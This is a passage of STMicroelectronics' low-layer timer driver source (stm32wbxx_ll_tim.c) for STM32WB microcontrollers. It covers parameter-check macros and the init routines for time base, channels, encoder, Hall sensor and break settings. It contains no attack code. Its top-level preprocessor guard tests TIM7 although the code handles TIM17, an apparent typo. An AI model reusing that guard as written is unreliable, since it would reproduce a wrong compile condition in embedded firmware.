/** ****************************************************************************** * @file stm32wbxx_ll_tim.c * @author MCD Application Team * @brief TIM LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2019 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32wbxx_ll_tim.h" #include "stm32wbxx_ll_bus.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /* USE_FULL_ASSERT */ /** @addtogroup STM32WBxx_LL_Driver * @{ */ #if defined (TIM1) || defined (TIM2) || defined (TIM16) || defined (TIM7) /** @addtogroup TIM_LL * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /* Private macros ------------------------------------------------------------*/ /** @addtogroup TIM_LL_Private_Macros * @{ */ #define IS_LL_TIM_COUNTERMODE(__VALUE__) (((__VALUE__) == LL_TIM_COUNTERMODE_UP) \ || ((__VALUE__) == LL_TIM_COUNTERMODE_DOWN) \ || ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_UP) \ || ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_DOWN) \ || ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_UP_DOWN)) #define IS_LL_TIM_CLOCKDIVISION(__VALUE__) (((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV1) \ || ((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV2) \ || ((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV4)) #define IS_LL_TIM_OCMODE(__VALUE__) (((__VALUE__) == LL_TIM_OCMODE_FROZEN) \ || ((__VALUE__) == LL_TIM_OCMODE_ACTIVE) \ || ((__VALUE__) == LL_TIM_OCMODE_INACTIVE) \ || ((__VALUE__) == LL_TIM_OCMODE_TOGGLE) \ || ((__VALUE__) == LL_TIM_OCMODE_FORCED_INACTIVE) \ || ((__VALUE__) == LL_TIM_OCMODE_FORCED_ACTIVE) \ || ((__VALUE__) == LL_TIM_OCMODE_PWM1) \ || ((__VALUE__) == LL_TIM_OCMODE_PWM2) \ || ((__VALUE__) == LL_TIM_OCMODE_RETRIG_OPM1) \ || ((__VALUE__) == LL_TIM_OCMODE_RETRIG_OPM2) \ || ((__VALUE__) == LL_TIM_OCMODE_COMBINED_PWM1) \ || ((__VALUE__) == LL_TIM_OCMODE_COMBINED_PWM2) \ || ((__VALUE__) == LL_TIM_OCMODE_ASSYMETRIC_PWM1) \ || ((__VALUE__) == LL_TIM_OCMODE_ASSYMETRIC_PWM2)) #define IS_LL_TIM_OCSTATE(__VALUE__) (((__VALUE__) == LL_TIM_OCSTATE_DISABLE) \ || ((__VALUE__) == LL_TIM_OCSTATE_ENABLE)) #define IS_LL_TIM_OCPOLARITY(__VALUE__) (((__VALUE__) == LL_TIM_OCPOLARITY_HIGH) \ || ((__VALUE__) == LL_TIM_OCPOLARITY_LOW)) #define IS_LL_TIM_OCIDLESTATE(__VALUE__) (((__VALUE__) == LL_TIM_OCIDLESTATE_LOW) \ || ((__VALUE__) == LL_TIM_OCIDLESTATE_HIGH)) #define IS_LL_TIM_ACTIVEINPUT(__VALUE__) (((__VALUE__) == LL_TIM_ACTIVEINPUT_DIRECTTI) \ || ((__VALUE__) == LL_TIM_ACTIVEINPUT_INDIRECTTI) \ || ((__VALUE__) == LL_TIM_ACTIVEINPUT_TRC)) #define IS_LL_TIM_ICPSC(__VALUE__) (((__VALUE__) == LL_TIM_ICPSC_DIV1) \ || ((__VALUE__) == LL_TIM_ICPSC_DIV2) \ || ((__VALUE__) == LL_TIM_ICPSC_DIV4) \ || ((__VALUE__) == LL_TIM_ICPSC_DIV8)) #define IS_LL_TIM_IC_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_IC_FILTER_FDIV1) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N2) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N4) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N8) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV2_N6) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV2_N8) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV4_N6) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV4_N8) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV8_N6) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV8_N8) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N5) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N6) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N8) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N5) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N6) \ || ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N8)) #define IS_LL_TIM_IC_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_IC_POLARITY_RISING) \ || ((__VALUE__) == LL_TIM_IC_POLARITY_FALLING) \ || ((__VALUE__) == LL_TIM_IC_POLARITY_BOTHEDGE)) #define IS_LL_TIM_ENCODERMODE(__VALUE__) (((__VALUE__) == LL_TIM_ENCODERMODE_X2_TI1) \ || ((__VALUE__) == LL_TIM_ENCODERMODE_X2_TI2) \ || ((__VALUE__) == LL_TIM_ENCODERMODE_X4_TI12)) #define IS_LL_TIM_IC_POLARITY_ENCODER(__VALUE__) (((__VALUE__) == LL_TIM_IC_POLARITY_RISING) \ || ((__VALUE__) == LL_TIM_IC_POLARITY_FALLING)) #define IS_LL_TIM_OSSR_STATE(__VALUE__) (((__VALUE__) == LL_TIM_OSSR_DISABLE) \ || ((__VALUE__) == LL_TIM_OSSR_ENABLE)) #define IS_LL_TIM_OSSI_STATE(__VALUE__) (((__VALUE__) == LL_TIM_OSSI_DISABLE) \ || ((__VALUE__) == LL_TIM_OSSI_ENABLE)) #define IS_LL_TIM_LOCK_LEVEL(__VALUE__) (((__VALUE__) == LL_TIM_LOCKLEVEL_OFF) \ || ((__VALUE__) == LL_TIM_LOCKLEVEL_1) \ || ((__VALUE__) == LL_TIM_LOCKLEVEL_2) \ || ((__VALUE__) == LL_TIM_LOCKLEVEL_3)) #define IS_LL_TIM_BREAK_STATE(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_DISABLE) \ || ((__VALUE__) == LL_TIM_BREAK_ENABLE)) #define IS_LL_TIM_BREAK_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_POLARITY_LOW) \ || ((__VALUE__) == LL_TIM_BREAK_POLARITY_HIGH)) #define IS_LL_TIM_BREAK_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N2) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N4) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N8) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV2_N6) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV2_N8) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV4_N6) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV4_N8) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV8_N6) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV8_N8) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N5) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N6) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N8) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N5) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N6) \ || ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N8)) #define IS_LL_TIM_BREAK2_STATE(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_DISABLE) \ || ((__VALUE__) == LL_TIM_BREAK2_ENABLE)) #define IS_LL_TIM_BREAK2_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_POLARITY_LOW) \ || ((__VALUE__) == LL_TIM_BREAK2_POLARITY_HIGH)) #define IS_LL_TIM_BREAK2_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N2) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N4) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N8) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV2_N6) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV2_N8) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV4_N6) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV4_N8) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV8_N6) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV8_N8) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N5) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N6) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N8) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N5) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N6) \ || ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N8)) #define IS_LL_TIM_AUTOMATIC_OUTPUT_STATE(__VALUE__) (((__VALUE__) == LL_TIM_AUTOMATICOUTPUT_DISABLE) \ || ((__VALUE__) == LL_TIM_AUTOMATICOUTPUT_ENABLE)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /** @defgroup TIM_LL_Private_Functions TIM Private Functions * @{ */ static ErrorStatus OC1Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus OC2Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus OC3Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus OC4Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus OC5Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus OC6Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct); static ErrorStatus IC1Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct); static ErrorStatus IC2Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct); static ErrorStatus IC3Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct); static ErrorStatus IC4Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct); /** * @} */ /* Exported functions --------------------------------------------------------*/ /** @addtogroup TIM_LL_Exported_Functions * @{ */ /** @addtogroup TIM_LL_EF_Init * @{ */ /** * @brief Set TIMx registers to their reset values. * @param TIMx Timer instance * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: invalid TIMx instance */ ErrorStatus LL_TIM_DeInit(TIM_TypeDef *TIMx) { ErrorStatus result = SUCCESS; /* Check the parameters */ assert_param(IS_TIM_INSTANCE(TIMx)); if (TIMx == TIM1) { LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM1); LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM1); } else if (TIMx == TIM2) { LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_TIM2); LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_TIM2); } else if (TIMx == TIM16) { LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM16); LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM16); } else if (TIMx == TIM17) { LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM17); LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM17); } else { result = ERROR; } return result; } /** * @brief Set the fields of the time base unit configuration data structure * to their default values. * @param TIM_InitStruct pointer to a @ref LL_TIM_InitTypeDef structure (time base unit configuration data structure) * @retval None */ void LL_TIM_StructInit(LL_TIM_InitTypeDef *TIM_InitStruct) { /* Set the default configuration */ TIM_InitStruct->Prescaler = (uint16_t)0x0000; TIM_InitStruct->CounterMode = LL_TIM_COUNTERMODE_UP; TIM_InitStruct->Autoreload = 0xFFFFFFFFU; TIM_InitStruct->ClockDivision = LL_TIM_CLOCKDIVISION_DIV1; TIM_InitStruct->RepetitionCounter = 0x00000000U; } /** * @brief Configure the TIMx time base unit. * @param TIMx Timer Instance * @param TIM_InitStruct pointer to a @ref LL_TIM_InitTypeDef structure (TIMx time base unit configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ ErrorStatus LL_TIM_Init(TIM_TypeDef *TIMx, LL_TIM_InitTypeDef *TIM_InitStruct) { uint32_t tmpcr1; /* Check the parameters */ assert_param(IS_TIM_INSTANCE(TIMx)); assert_param(IS_LL_TIM_COUNTERMODE(TIM_InitStruct->CounterMode)); assert_param(IS_LL_TIM_CLOCKDIVISION(TIM_InitStruct->ClockDivision)); tmpcr1 = LL_TIM_ReadReg(TIMx, CR1); if (IS_TIM_COUNTER_MODE_SELECT_INSTANCE(TIMx)) { /* Select the Counter Mode */ MODIFY_REG(tmpcr1, (TIM_CR1_DIR | TIM_CR1_CMS), TIM_InitStruct->CounterMode); } if (IS_TIM_CLOCK_DIVISION_INSTANCE(TIMx)) { /* Set the clock division */ MODIFY_REG(tmpcr1, TIM_CR1_CKD, TIM_InitStruct->ClockDivision); } /* Write to TIMx CR1 */ LL_TIM_WriteReg(TIMx, CR1, tmpcr1); /* Set the Autoreload value */ LL_TIM_SetAutoReload(TIMx, TIM_InitStruct->Autoreload); /* Set the Prescaler value */ LL_TIM_SetPrescaler(TIMx, TIM_InitStruct->Prescaler); if (IS_TIM_REPETITION_COUNTER_INSTANCE(TIMx)) { /* Set the Repetition Counter value */ LL_TIM_SetRepetitionCounter(TIMx, TIM_InitStruct->RepetitionCounter); } /* Generate an update event to reload the Prescaler and the repetition counter value (if applicable) immediately */ LL_TIM_GenerateEvent_UPDATE(TIMx); return SUCCESS; } /** * @brief Set the fields of the TIMx output channel configuration data * structure to their default values. * @param TIM_OC_InitStruct pointer to a @ref LL_TIM_OC_InitTypeDef structure (the output channel configuration data structure) * @retval None */ void LL_TIM_OC_StructInit(LL_TIM_OC_InitTypeDef *TIM_OC_InitStruct) { /* Set the default configuration */ TIM_OC_InitStruct->OCMode = LL_TIM_OCMODE_FROZEN; TIM_OC_InitStruct->OCState = LL_TIM_OCSTATE_DISABLE; TIM_OC_InitStruct->OCNState = LL_TIM_OCSTATE_DISABLE; TIM_OC_InitStruct->CompareValue = 0x00000000U; TIM_OC_InitStruct->OCPolarity = LL_TIM_OCPOLARITY_HIGH; TIM_OC_InitStruct->OCNPolarity = LL_TIM_OCPOLARITY_HIGH; TIM_OC_InitStruct->OCIdleState = LL_TIM_OCIDLESTATE_LOW; TIM_OC_InitStruct->OCNIdleState = LL_TIM_OCIDLESTATE_LOW; } /** * @brief Configure the TIMx output channel. * @param TIMx Timer Instance * @param Channel This parameter can be one of the following values: * @arg @ref LL_TIM_CHANNEL_CH1 * @arg @ref LL_TIM_CHANNEL_CH2 * @arg @ref LL_TIM_CHANNEL_CH3 * @arg @ref LL_TIM_CHANNEL_CH4 * @arg @ref LL_TIM_CHANNEL_CH5 * @arg @ref LL_TIM_CHANNEL_CH6 * @param TIM_OC_InitStruct pointer to a @ref LL_TIM_OC_InitTypeDef structure (TIMx output channel configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx output channel is initialized * - ERROR: TIMx output channel is not initialized */ ErrorStatus LL_TIM_OC_Init(TIM_TypeDef *TIMx, uint32_t Channel, LL_TIM_OC_InitTypeDef *TIM_OC_InitStruct) { ErrorStatus result = ERROR; switch (Channel) { case LL_TIM_CHANNEL_CH1: result = OC1Config(TIMx, TIM_OC_InitStruct); break; case LL_TIM_CHANNEL_CH2: result = OC2Config(TIMx, TIM_OC_InitStruct); break; case LL_TIM_CHANNEL_CH3: result = OC3Config(TIMx, TIM_OC_InitStruct); break; case LL_TIM_CHANNEL_CH4: result = OC4Config(TIMx, TIM_OC_InitStruct); break; case LL_TIM_CHANNEL_CH5: result = OC5Config(TIMx, TIM_OC_InitStruct); break; case LL_TIM_CHANNEL_CH6: result = OC6Config(TIMx, TIM_OC_InitStruct); break; default: break; } return result; } /** * @brief Set the fields of the TIMx input channel configuration data * structure to their default values. * @param TIM_ICInitStruct pointer to a @ref LL_TIM_IC_InitTypeDef structure (the input channel configuration data structure) * @retval None */ void LL_TIM_IC_StructInit(LL_TIM_IC_InitTypeDef *TIM_ICInitStruct) { /* Set the default configuration */ TIM_ICInitStruct->ICPolarity = LL_TIM_IC_POLARITY_RISING; TIM_ICInitStruct->ICActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI; TIM_ICInitStruct->ICPrescaler = LL_TIM_ICPSC_DIV1; TIM_ICInitStruct->ICFilter = LL_TIM_IC_FILTER_FDIV1; } /** * @brief Configure the TIMx input channel. * @param TIMx Timer Instance * @param Channel This parameter can be one of the following values: * @arg @ref LL_TIM_CHANNEL_CH1 * @arg @ref LL_TIM_CHANNEL_CH2 * @arg @ref LL_TIM_CHANNEL_CH3 * @arg @ref LL_TIM_CHANNEL_CH4 * @param TIM_IC_InitStruct pointer to a @ref LL_TIM_IC_InitTypeDef structure (TIMx input channel configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx output channel is initialized * - ERROR: TIMx output channel is not initialized */ ErrorStatus LL_TIM_IC_Init(TIM_TypeDef *TIMx, uint32_t Channel, LL_TIM_IC_InitTypeDef *TIM_IC_InitStruct) { ErrorStatus result = ERROR; switch (Channel) { case LL_TIM_CHANNEL_CH1: result = IC1Config(TIMx, TIM_IC_InitStruct); break; case LL_TIM_CHANNEL_CH2: result = IC2Config(TIMx, TIM_IC_InitStruct); break; case LL_TIM_CHANNEL_CH3: result = IC3Config(TIMx, TIM_IC_InitStruct); break; case LL_TIM_CHANNEL_CH4: result = IC4Config(TIMx, TIM_IC_InitStruct); break; default: break; } return result; } /** * @brief Fills each TIM_EncoderInitStruct field with its default value * @param TIM_EncoderInitStruct pointer to a @ref LL_TIM_ENCODER_InitTypeDef structure (encoder interface configuration data structure) * @retval None */ void LL_TIM_ENCODER_StructInit(LL_TIM_ENCODER_InitTypeDef *TIM_EncoderInitStruct) { /* Set the default configuration */ TIM_EncoderInitStruct->EncoderMode = LL_TIM_ENCODERMODE_X2_TI1; TIM_EncoderInitStruct->IC1Polarity = LL_TIM_IC_POLARITY_RISING; TIM_EncoderInitStruct->IC1ActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI; TIM_EncoderInitStruct->IC1Prescaler = LL_TIM_ICPSC_DIV1; TIM_EncoderInitStruct->IC1Filter = LL_TIM_IC_FILTER_FDIV1; TIM_EncoderInitStruct->IC2Polarity = LL_TIM_IC_POLARITY_RISING; TIM_EncoderInitStruct->IC2ActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI; TIM_EncoderInitStruct->IC2Prescaler = LL_TIM_ICPSC_DIV1; TIM_EncoderInitStruct->IC2Filter = LL_TIM_IC_FILTER_FDIV1; } /** * @brief Configure the encoder interface of the timer instance. * @param TIMx Timer Instance * @param TIM_EncoderInitStruct pointer to a @ref LL_TIM_ENCODER_InitTypeDef structure (TIMx encoder interface configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ ErrorStatus LL_TIM_ENCODER_Init(TIM_TypeDef *TIMx, LL_TIM_ENCODER_InitTypeDef *TIM_EncoderInitStruct) { uint32_t tmpccmr1; uint32_t tmpccer; /* Check the parameters */ assert_param(IS_TIM_ENCODER_INTERFACE_INSTANCE(TIMx)); assert_param(IS_LL_TIM_ENCODERMODE(TIM_EncoderInitStruct->EncoderMode)); assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_EncoderInitStruct->IC1Polarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_EncoderInitStruct->IC1ActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_EncoderInitStruct->IC1Prescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_EncoderInitStruct->IC1Filter)); assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_EncoderInitStruct->IC2Polarity)); assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_EncoderInitStruct->IC2ActiveInput)); assert_param(IS_LL_TIM_ICPSC(TIM_EncoderInitStruct->IC2Prescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_EncoderInitStruct->IC2Filter)); /* Disable the CC1 and CC2: Reset the CC1E and CC2E Bits */ TIMx->CCER &= (uint32_t)~(TIM_CCER_CC1E | TIM_CCER_CC2E); /* Get the TIMx CCMR1 register value */ tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Configure TI1 */ tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1ActiveInput >> 16U); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1Filter >> 16U); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1Prescaler >> 16U); /* Configure TI2 */ tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC2S | TIM_CCMR1_IC2F | TIM_CCMR1_IC2PSC); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2ActiveInput >> 8U); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2Filter >> 8U); tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2Prescaler >> 8U); /* Set TI1 and TI2 polarity and enable TI1 and TI2 */ tmpccer &= (uint32_t)~(TIM_CCER_CC1P | TIM_CCER_CC1NP | TIM_CCER_CC2P | TIM_CCER_CC2NP); tmpccer |= (uint32_t)(TIM_EncoderInitStruct->IC1Polarity); tmpccer |= (uint32_t)(TIM_EncoderInitStruct->IC2Polarity << 4U); tmpccer |= (uint32_t)(TIM_CCER_CC1E | TIM_CCER_CC2E); /* Set encoder mode */ LL_TIM_SetEncoderMode(TIMx, TIM_EncoderInitStruct->EncoderMode); /* Write to TIMx CCMR1 */ LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); return SUCCESS; } /** * @brief Set the fields of the TIMx Hall sensor interface configuration data * structure to their default values. * @param TIM_HallSensorInitStruct pointer to a @ref LL_TIM_HALLSENSOR_InitTypeDef structure (HALL sensor interface configuration data structure) * @retval None */ void LL_TIM_HALLSENSOR_StructInit(LL_TIM_HALLSENSOR_InitTypeDef *TIM_HallSensorInitStruct) { /* Set the default configuration */ TIM_HallSensorInitStruct->IC1Polarity = LL_TIM_IC_POLARITY_RISING; TIM_HallSensorInitStruct->IC1Prescaler = LL_TIM_ICPSC_DIV1; TIM_HallSensorInitStruct->IC1Filter = LL_TIM_IC_FILTER_FDIV1; TIM_HallSensorInitStruct->CommutationDelay = 0U; } /** * @brief Configure the Hall sensor interface of the timer instance. * @note TIMx CH1, CH2 and CH3 inputs connected through a XOR * to the TI1 input channel * @note TIMx slave mode controller is configured in reset mode. Selected internal trigger is TI1F_ED. * @note Channel 1 is configured as input, IC1 is mapped on TRC. * @note Captured value stored in TIMx_CCR1 correspond to the time elapsed * between 2 changes on the inputs. It gives information about motor speed. * @note Channel 2 is configured in output PWM 2 mode. * @note Compare value stored in TIMx_CCR2 corresponds to the commutation delay. * @note OC2REF is selected as trigger output on TRGO. * @note LL_TIM_IC_POLARITY_BOTHEDGE must not be used for TI1 when it is used * when TIMx operates in Hall sensor interface mode. * @param TIMx Timer Instance * @param TIM_HallSensorInitStruct pointer to a @ref LL_TIM_HALLSENSOR_InitTypeDef structure (TIMx HALL sensor interface configuration data structure) * @retval An ErrorStatus enumeration value: * - SUCCESS: TIMx registers are de-initialized * - ERROR: not applicable */ ErrorStatus LL_TIM_HALLSENSOR_Init(TIM_TypeDef *TIMx, LL_TIM_HALLSENSOR_InitTypeDef *TIM_HallSensorInitStruct) { uint32_t tmpcr2; uint32_t tmpccmr1; uint32_t tmpccer; uint32_t tmpsmcr; /* Check the parameters */ assert_param(IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(TIMx)); assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_HallSensorInitStruct->IC1Polarity)); assert_param(IS_LL_TIM_ICPSC(TIM_HallSensorInitStruct->IC1Prescaler)); assert_param(IS_LL_TIM_IC_FILTER(TIM_HallSensorInitStruct->IC1Filter)); /* Disable the CC1 and CC2: Reset the CC1E and CC2E Bits */ TIMx->CCER &= (uint32_t)~(TIM_CCER_CC1E | TIM_CCER_CC2E); /* Get the TIMx CR2 register value */ tmpcr2 = LL_TIM_ReadReg(TIMx, CR2); /* Get the TIMx CCMR1 register value */ tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1); /* Get the TIMx CCER register value */ tmpccer = LL_TIM_ReadReg(TIMx, CCER); /* Get the TIMx SMCR register value */ tmpsmcr = LL_TIM_ReadReg(TIMx, SMCR); /* Connect TIMx_CH1, CH2 and CH3 pins to the TI1 input */ tmpcr2 |= TIM_CR2_TI1S; /* OC2REF signal is used as trigger output (TRGO) */ tmpcr2 |= LL_TIM_TRGO_OC2REF; /* Configure the slave mode controller */ tmpsmcr &= (uint32_t)~(TIM_SMCR_TS | TIM_SMCR_SMS); tmpsmcr |= LL_TIM_TS_TI1F_ED; tmpsmcr |= LL_TIM_SLAVEMODE_RESET; /* Configure input channel 1 */ tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC); tmpccmr1 |= (uint32_t)(LL_TIM_ACTIVEINPUT_TRC >> 16U); tmpccmr1 |= (uint32_t)(TIM_HallSensorInitStruct->IC1Filter >> 16U); tmpccmr1 |= (uint32_t)(TIM_HallSensorInitStruct->IC1Prescaler >> 16U); /* Configure input channel 2 */ tmpccmr1 &= (uint32_t)~(TIM_CCMR1_OC2M | TIM_CCMR1_OC2FE | TIM_CCMR1_OC2PE | TIM_CCMR1_OC2CE); tmpccmr1 |= (uint32_t)(LL_TIM_OCMODE_PWM2 << 8U); /* Set Channel 1 polarity and enable Channel 1 and Channel2 */ tmpccer &= (uint32_t)~(TIM_CCER_CC1P | TIM_CCER_CC1NP | TIM_CCER_CC2P | TIM_CCER_CC2NP); tmpccer |= (uint32_t)(TIM_HallSensorInitStruct->IC1Polarity); tmpccer |= (uint32_t)(TIM_CCER_CC1E | TIM_CCER_CC2E); /* Write to TIMx CR2 */ LL_TIM_WriteReg(TIMx, CR2, tmpcr2); /* Write to TIMx SMCR */ LL_TIM_WriteReg(TIMx, SMCR, tmpsmcr); /* Write to TIMx CCMR1 */ LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1); /* Write to TIMx CCER */ LL_TIM_WriteReg(TIMx, CCER, tmpccer); /* Write to TIMx CCR2 */ LL_TIM_OC_SetCompareCH2(TIMx, TIM_HallSensorInitStruct->CommutationDelay); return SUCCESS; } /** * @brief Set the fields of the Break and Dead Time configuration data structure * to their default values. * @param TIM_BDTRInitStruct pointer to a @ref LL_TIM_BDTR_InitTypeDef structure (Break and Dead Time configuration data structure) * @retval None */ void LL_TIM_BDTR_StructInit(LL_TIM_BDTR_InitTypeDef *TIM_BDTRInitStruct) { /* Set the default configuration */ TIM_BDTRInitStruct->OSSRState = LL_TIM_OSSR_DISABLE; TIM_BDTRInitStruct->OSSIState = LL_TIM_OSSI_DISABLE; TIM_BDTRInitStruct->LockLevel = LL_TIM_LOCKLEVEL_OFF; TIM_BDTRInitStruct->DeadTime = (uint8_t)0x00; TIM_BDTRInitStruct->BreakState = LL_TIM_BREAK_DISABLE; TIM_BDTRInitStruct->BreakPolarity = LL_TIM_BREAK_POLARITY_LOW; TIM_BDTRInitStruct->BreakFilter = LL_TIM_BREAK_FILTER_FDIV1; TIM_BDTRInitStruct->Break2State = LL_TIM_BREAK2_DISABLE; TIM_BDTRInitStruct->Break2Polarity = LL_TIM_BREAK2_POLARITY_LOW; TIM_BDTRInitStruct->Break2Filter = LL_TIM_BREAK2_FILTER_FDIV1; TIM_BDTRInitStruct->AutomaticOutput = LL_TIM_AUTOMATICOUTPUT_DISABLE; } /** * @brief Configure the Break and Dead Time feature of the timer instance. * @note As the bits BK2P, BK2E, BK2F[3:0], BKF[3:0], AOE, BKP, BKE, OSSI, OSSR * and DTG[7:0] can be write-locked depending on the LOCK configuration, it * can be necessary to configure all 